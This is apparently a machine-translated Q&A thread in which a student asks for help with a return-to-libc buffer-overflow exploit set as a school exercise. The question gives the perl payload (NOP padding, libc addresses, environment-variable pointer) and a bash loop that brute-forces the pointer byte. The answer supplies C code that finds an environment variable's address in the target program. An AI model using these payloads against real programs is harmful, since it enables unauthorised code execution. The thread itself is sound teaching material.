Variable de entorno y secuencias de comandos para el exploit de retorno a libc

4

Para la escuela tenemos que realizar un exploit de retorno a libc. Al hacer esto, necesitamos generar un shell desde / bin / xh que imprimirá un mensaje que hemos logrado con nuestro exploit.

Para hacer este exploit, utilicé este script para entrar

$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')

\ x25 \ xf9 \ xff \ xbf apunta a una variable de entorno que me inserté mediante el uso del comando "exportar", la cadena SHELLMINE = / bin / xh para ser exactos. Usar la cadena del shell bash normal no es útil, ya que no me permitirá ingresar al shell que imprime el texto de sucesión. Por supuesto, soy consciente de que las direcciones de las variables cambian de vez en cuando, por lo que la parte "\ x25" se modifica cuando es necesario.

Este script funciona cuando se usa directamente en el terminal.

Ahora, el problema es el hecho de que no funcionará cuando se usa desde un script bash. Esto se debe a que las variables de entorno que se utilizan al ejecutar el script están en un lugar diferente. Intenté usar un depurador que se ejecuta desde el script y buscar la dirección allí, pero con la dirección encontrada tampoco funciona

Este es el código que tengo

for i in 'seq 192 239'; 
do 
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh 
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"

$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done

Básicamente, lo que necesito es una forma de obtener la dirección de la variable de entorno o una mejor manera de insertar la cadena que se utilizará en el exploit.

    
pregunta kalina 14.12.2015 - 23:10
fuente

1 respuesta

1

Almacenar el valor en el entorno es una práctica (buena) común.

Para obtener la dirección de la variable de entorno, puede utilizar este fragmento de código C:

(Supongo que sabes cómo compilarlo para tu sistema)

/* Author: Jon Erickson */

/* Deps */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Main */
int main(int argc, char *argv[]) {
    char *ptr; /* the needed address will be stored here */

    if(argc < 3) { 
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr); /* Print the result */
}

En su caso, veamos que lo llamó getenv.c , debería emitir este comando:

./getenv SHELLMINE [Name of the program you are expliting the overflow]

e imprimirá el puntero necesario como:

SHELLMINE will be at [ptr]
    
respondido por el jmingov 15.09.2016 - 21:59
fuente

Lea otras preguntas en las etiquetas